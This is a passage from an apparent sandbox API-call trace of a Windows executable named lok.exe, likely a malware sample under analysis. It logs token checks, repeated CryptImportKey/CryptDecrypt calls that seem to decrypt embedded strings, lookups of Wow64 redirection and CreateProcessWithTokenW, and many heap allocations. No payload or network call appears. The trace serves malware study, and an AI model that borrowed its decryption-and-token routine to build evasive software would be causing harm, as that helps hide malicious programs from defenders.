lpProcName="RegOpenKeyExA") returned 0x77724907 [0052.526] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0052.526] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0052.526] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0058.481] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0058.481] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0058.481] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0058.481] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0058.869] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0058.869] atexit (param_1=0x20920) returned 0 [0058.871] GetVersion () returned 0x1db10106 [0058.871] GetCurrentProcess () returned 0xffffffff [0058.871] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f40c | out: TokenHandle=0x18f40c*=0x84) returned 1 [0059.060] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x18f410, TokenInformationLength=0x4, ReturnLength=0x18f414 | out: TokenInformation=0x18f410, ReturnLength=0x18f414) returned 1 [0059.060] CloseHandle (hObject=0x84) returned 1 [0059.060] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" " [0059.060] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" ", pNumArgs=0x18f414 | out: pNumArgs=0x18f414) returned 0x2bc090*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" [0059.061] GetProcessHeap () returned 0x2a0000 [0059.061] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1) returned 0x2b7b90 [0059.061] GetProcessHeap () returned 0x2a0000 [0059.061] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2b8298 [0059.062] CryptAcquireContextW (in: phProv=0x2b8298, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2b8298*=0x2bcb08) returned 1 [0059.662] GetProcessHeap () returned 0x2a0000 [0059.662] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2bd330 [0059.662] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f388, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2bc1c0) returned 1 [0059.665] CryptDecrypt (in: hKey=0x2bc1c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bd330, pdwDataLen=0x2b82c0 | out: pbData=0x2bd330, pdwDataLen=0x2b82c0) returned 1 [0059.667] CryptDestroyKey (hKey=0x2bc1c0) returned 1 [0059.667] GetSystemWindowsDirectoryW (in: lpBuffer=0x418018, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0059.667] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418220, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0059.667] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x419220, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0061.063] GetProcessHeap () returned 0x2a0000 [0061.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bc1f0 [0061.063] GetProcessHeap () returned 0x2a0000 [0061.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bdee8 [0061.063] GetProcessHeap () returned 0x2a0000 [0061.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bda90 [0061.063] GetProcessHeap () returned 0x2a0000 [0061.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc668 [0061.063] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be0e0) returned 1 [0061.063] CryptDecrypt (in: hKey=0x2be0e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc668, pdwDataLen=0x18f3f8 | out: pbData=0x2bc668, pdwDataLen=0x18f3f8) returned 1 [0061.063] CryptDestroyKey (hKey=0x2be0e0) returned 1 [0061.063] GetProcessHeap () returned 0x2a0000 [0061.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc690 [0061.063] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be0e0) returned 1 [0061.063] CryptDecrypt (in: hKey=0x2be0e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc690, pdwDataLen=0x18f3f8 | out: pbData=0x2bc690, pdwDataLen=0x18f3f8) returned 1 [0061.063] CryptDestroyKey (hKey=0x2be0e0) returned 1 [0061.063] GetProcessHeap () returned 0x2a0000 [0061.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2be0e0 [0061.063] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be128) returned 1 [0061.063] CryptDecrypt (in: hKey=0x2be128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be0e0, pdwDataLen=0x18f3f8 | out: pbData=0x2be0e0, pdwDataLen=0x18f3f8) returned 1 [0061.063] CryptDestroyKey (hKey=0x2be128) returned 1 [0061.063] GetProcessHeap () returned 0x2a0000 [0061.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2be128 [0061.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be1b0) returned 1 [0061.064] CryptDecrypt (in: hKey=0x2be1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be128, pdwDataLen=0x18f3fc | out: pbData=0x2be128, pdwDataLen=0x18f3fc) returned 1 [0061.064] CryptDestroyKey (hKey=0x2be1b0) returned 1 [0061.064] GetProcessHeap () returned 0x2a0000 [0061.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2bdef8 [0061.064] GetProcessHeap () returned 0x2a0000 [0061.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2bdaa8 [0061.064] GetProcessHeap () returned 0x2a0000 [0061.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1f) returned 0x2bc6b8 [0061.064] GetProcessHeap () returned 0x2a0000 [0061.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2bc6e0 [0061.064] GetProcessHeap () returned 0x2a0000 [0061.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2bdac0 [0061.064] GetProcessHeap () returned 0x2a0000 [0061.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2be1b0 [0061.064] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0061.065] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0061.065] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0061.065] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0061.065] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0061.065] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0061.065] GetProcessHeap () returned 0x2a0000 [0061.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2be128 | out: hHeap=0x2a0000) returned 1 [0061.066] GetProcessHeap () returned 0x2a0000 [0061.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdaa8 | out: hHeap=0x2a0000) returned 1 [0061.066] GetProcessHeap () returned 0x2a0000 [0061.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc6b8 | out: hHeap=0x2a0000) returned 1 [0061.066] GetProcessHeap () returned 0x2a0000 [0061.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc6e0 | out: hHeap=0x2a0000) returned 1 [0061.066] GetProcessHeap () returned 0x2a0000 [0061.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdac0 | out: hHeap=0x2a0000) returned 1 [0061.066] GetProcessHeap () returned 0x2a0000 [0061.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2be1b0 | out: hHeap=0x2a0000) returned 1 [0061.066] GetProcessHeap () returned 0x2a0000 [0061.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdef8 | out: hHeap=0x2a0000) returned 1 [0061.066] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18f3e8, cchData=32 | out: lpLCData="\x03") returned 16 [0061.067] GetProcessHeap () returned 0x2a0000 [0061.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2bdef8 [0061.067] GetProcessHeap () returned 0x2a0000 [0061.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2be128 [0061.067] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be1d0) returned 1 [0061.067] CryptDecrypt (in: hKey=0x2be1d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be128, pdwDataLen=0x18f3d8 | out: pbData=0x2be128, pdwDataLen=0x18f3d8) returned 1 [0061.067] CryptDestroyKey (hKey=0x2be1d0) returned 1 [0061.067] GetProcessHeap () returned 0x2a0000 [0061.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bdf08 [0061.067] GetProcessHeap () returned 0x2a0000 [0061.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2be1d0 [0061.067] GetProcessHeap () returned 0x2a0000 [0061.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bdf18 [0061.067] GetProcessHeap () returned 0x2a0000 [0061.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2bc6e0 [0061.067] GetProcessHeap () returned 0x2a0000 [0061.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be1f0 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2bdac0 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be200 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2bc6b8 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be210 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdaa8 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be220 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2be230 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be260 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2be270 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2be128 | out: hHeap=0x2a0000) returned 1 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2be2a8 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc708 [0061.068] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be128) returned 1 [0061.068] CryptDecrypt (in: hKey=0x2be128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc708, pdwDataLen=0x18f3d8 | out: pbData=0x2bc708, pdwDataLen=0x18f3d8) returned 1 [0061.068] CryptDestroyKey (hKey=0x2be128) returned 1 [0061.068] GetProcessHeap () returned 0x2a0000 [0061.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be2b8 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdad8 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc708 | out: hHeap=0x2a0000) returned 1 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2be2c8 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc708 [0061.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be128) returned 1 [0061.069] CryptDecrypt (in: hKey=0x2be128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc708, pdwDataLen=0x18f3d8 | out: pbData=0x2bc708, pdwDataLen=0x18f3d8) returned 1 [0061.069] CryptDestroyKey (hKey=0x2be128) returned 1 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be2d8 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2bc730 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc708 | out: hHeap=0x2a0000) returned 1 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2be2e8 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a0) returned 0x2be690 [0061.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be128) returned 1 [0061.069] CryptDecrypt (in: hKey=0x2be128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be690, pdwDataLen=0x18f3d8 | out: pbData=0x2be690, pdwDataLen=0x18f3d8) returned 1 [0061.069] CryptDestroyKey (hKey=0x2be128) returned 1 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be2f8 [0061.069] GetProcessHeap () returned 0x2a0000 [0061.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be308 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be318 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be328 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be338 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be348 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be358 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be368 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be378 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2bdaf0 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be388 [0061.070] GetProcessHeap () returned 0x2a0000 [0061.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2bdb08 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be398 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2bdb20 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be3a8 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be3b8 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be3c8 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be3d8 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be3e8 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be3f8 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be408 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2be418 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be428 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2be128 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be438 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdb38 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be448 [0061.071] GetProcessHeap () returned 0x2a0000 [0061.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdb50 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be458 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be468 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be478 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be488 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be498 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be4a8 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be4b8 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be4c8 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be4d8 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be4e8 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be4f8 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be508 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be518 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be528 [0061.072] GetProcessHeap () returned 0x2a0000 [0061.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be538 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be548 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be558 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be568 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be578 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2bdb68 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be588 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be598 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be5a8 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be5b8 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be5c8 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be5d8 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be5e8 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2bdb80 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be5f8 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be608 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be618 [0061.073] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be628 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be638 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be648 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be658 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be668 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be678 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be850 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be860 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be870 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be880 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be890 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be8a0 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2bdb98 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be8b0 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be8c0 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be8d0 [0061.074] GetProcessHeap () returned 0x2a0000 [0061.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2bec50 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be8e0 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdbb0 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be8f0 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdbc8 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be900 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be910 [0061.295] GetProcessHeap () returned 